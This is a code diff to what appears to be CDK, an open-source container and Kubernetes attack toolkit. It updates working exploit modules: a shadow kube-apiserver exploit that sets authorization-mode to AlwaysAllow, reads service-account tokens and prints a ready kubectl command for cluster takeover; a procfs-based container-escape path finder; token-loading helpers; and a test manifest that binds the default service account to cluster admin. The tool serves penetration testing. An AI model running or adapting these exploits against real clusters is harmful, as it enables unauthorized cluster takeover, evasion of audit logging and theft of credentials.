diff --git a/pkg/exploit/k8s_shadow_apiserver.go b/pkg/exploit/k8s_shadow_apiserver.go index aa641c5..83ecffb 100644 --- a/pkg/exploit/k8s_shadow_apiserver.go +++ b/pkg/exploit/k8s_shadow_apiserver.go @@ -67,9 +67,11 @@ func findApiServerPodInMasterNode(token string, serverAddr string) (string, erro return "", errors.New("invalid to list pods, possible caused by api-server forbidden this request.") } // extract pod name - pattern := regexp.MustCompile(`"/api/v1/namespaces/kube-system/pods/(kube-apiserver\b[^"]*?)"`) + // sample: {"metadata":{"name":"kube-apiserver-ubuntu-linux-20-04-desktop","namespace":"kube-system","uid":"b7564d4e-3bb1-48ef-8885-3984be70f46d" .. -> kube-apiserver-ubuntu-linux-20-04-desktop + pattern := regexp.MustCompile(`"metadata":{"name":"(kube-apiserver\b[^"]*?)"`) matched := pattern.FindAllStringSubmatch(resp, -1) if matched == nil { + fmt.Println(resp) return "", errors.New("Cannot find kube-apiserver pod in namespace:kube-system, maybe target K8s master node managed by cloud provider, cannot deploy api-server in this environment.") } @@ -109,8 +111,8 @@ func dumpPodConfig(token string, serverAddr string, podName string, namespace st log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp) return "", errors.New("faild to request api-server.") } - if !strings.Contains(resp, "selfLink") { - log.Println("api-server response:") + if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) { + log.Println("api-server response in dumpPodConfig:") fmt.Println(resp) return "", errors.New("invalid response data, possible caused by api-server forbidden this request.") } @@ -170,11 +172,13 @@ func generateShadowApiServerConf(json string) string { } // set anonymous-auth to true - reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`) - json = reg.ReplaceAllString(json, "${1}true${3}") - if !strings.Contains(json, "--anonymous-auth") { - json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`) - } + // change note: anonymous-auth is not valid in k8s 1.22 and later, see https://github.com/cdk-team/CDK/issues/77 + + // reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`) + // json = reg.ReplaceAllString(json, "${1}true${3}") + // if !strings.Contains(json, "--anonymous-auth") { + // json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`) + // } // set authorization-mode=AlwaysAllow reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`) @@ -211,8 +215,8 @@ func deployPod(token string, serverAddr string, namespace string, data string) ( log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp) return "", errors.New("faild to request api-server.") } - if !strings.Contains(resp, "selfLink") { - log.Println("api-server response:") + if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) { + log.Println("api-server response in deployPod:") fmt.Println(resp) return "", errors.New("invalid response data, possible caused by api-server forbidden this request.") } @@ -265,7 +269,7 @@ func (p K8sShadowApiServerS) Run() bool { return false } - if !strings.Contains(resp, "selfLink") { + if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) { fmt.Println("response data:", resp) log.Println("exploit failed.") return false @@ -276,8 +280,26 @@ func (p K8sShadowApiServerS) Run() bool { namespace := gjson.Get(resp, "metadata.namespace").String() node := gjson.Get(resp, "spec.nodeName").String() fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node) - fmt.Printf("\tlistening secure-port: https://%s:9444\n", node) - fmt.Printf("\tgo further run `cdk kcurl %s get https://%s:9444/api` to takeover cluster with none audit logs!\n", tokenFlag, node) + fmt.Printf("\tlistening port: https://%s:9444\n", node) + + var token = "" + switch tokenFlag { + case "default": + token, _ = kubectl.SecretToken(conf.K8sSATokenDefaultPath) + case "anonymous": + token = "" + default: + // TODO: why default flag not to use default token(conf.K8sSATokenDefaultPath)? + token, _ = kubectl.SecretToken(tokenFlag) + } + + // sample: + // kubectl --server=https://:9444/ --token= --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A + if token == "" { + fmt.Println("\trun: kubectl --server=https://%s:9444 --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node) + } else { + fmt.Printf("\trun: kubectl --server=https://%s:9444 --token=%s --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node, token) + } return true } diff --git a/pkg/exploit/mount_procfs.go b/pkg/exploit/mount_procfs.go index 991133d..b4f5628 100644 --- a/pkg/exploit/mount_procfs.go +++ b/pkg/exploit/mount_procfs.go @@ -31,17 +31,15 @@ import ( "regexp" ) -//https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/ - func GetDockerAbsPath() string { data, err := ioutil.ReadFile("/proc/self/mounts") if err != nil { log.Println(err) } - //fmt.Println(string(data)) - // workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work - pattern := regexp.MustCompile("workdir=([\\w\\d/]+)/work") + // example 1: workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work -> /data/docker/overlay2/f5aa028c48864dd7fefdd00230e6a6954d9292fdcc4e5f80575d186590ff6b5c + // example 2: workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301/work -> /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301 + pattern := regexp.MustCompile(`workdir=((/[^/ ]+)+)/work`) params := pattern.FindStringSubmatch(string(data)) if len(params) < 2 { log.Fatal("failed to find docker abs path in /proc/self/mounts") diff --git a/pkg/task/auto_escape.go b/pkg/task/auto_escape.go index 6fbea76..9e5486b 100644 --- a/pkg/task/auto_escape.go +++ b/pkg/task/auto_escape.go @@ -162,11 +162,15 @@ func (p taskAutoEscapeS) Desc() string { } func (p taskAutoEscapeS) Exec() bool { cmd := cli.Args[""].(string) + + log.Printf("%s\n", util.RedBold.Sprint("Caution: Flag auto-escape is deprecated as of CDK v1.5.1, and will be archived in v2.0. We recommend migrating to `./cdk eva --full` and `./cdk run`.")) + if autoEscape(cmd) { log.Println("all exploits are finished, auto exploit success!") } else { log.Println("all exploits are finished, auto exploit failed.") } + return true } diff --git a/pkg/tool/kubectl/common.go b/pkg/tool/kubectl/common.go index 34d138e..3940a4f 100644 --- a/pkg/tool/kubectl/common.go +++ b/pkg/tool/kubectl/common.go @@ -85,6 +85,24 @@ func GetServiceAccountToken(tokenPath string) (string, error) { return string(token), nil } +func SecretToken(tokenPath string) (string, error) { + var tokenErr error + var token string + + if tokenPath != "" { + token, tokenErr = GetServiceAccountToken(tokenPath) + } else if token == "" { + token, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath) + } + if tokenErr != nil { + return "", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: "load K8s service account token error."} + } + + token = strings.TrimSpace(token) + + return token, nil +} + /* curl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: Bearer xxx" --cacert ca.crt */ @@ -92,16 +110,12 @@ curl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: func ServerAccountRequest(opts K8sRequestOption) (string, error) { // parse token - var tokenErr error if opts.Anonymous { opts.Token = "" - } else if opts.TokenPath != "" { - opts.Token, tokenErr = GetServiceAccountToken(opts.TokenPath) - } else if opts.Token == "" { - opts.Token, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath) - } - if tokenErr != nil { - return "", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: "load K8s service account token error."} + } else if token, err := SecretToken(opts.TokenPath); err != nil { + return "", err + } else { + opts.Token = token } // parse url if opts.Url is "" diff --git a/test/k8s_exploit_util/default_to_admin.yaml b/test/k8s_exploit_util/default_to_admin.yaml index c5c4f65..c1f068e 100644 --- a/test/k8s_exploit_util/default_to_admin.yaml +++ b/test/k8s_exploit_util/default_to_admin.yaml @@ -1,5 +1,5 @@ kind: ClusterRoleBinding -apiVersion: rbac.authorization.k8s.io/v1beta1 +apiVersion: rbac.authorization.k8s.io/v1 metadata: name: cdxy-default-to-admin-binding namespace: default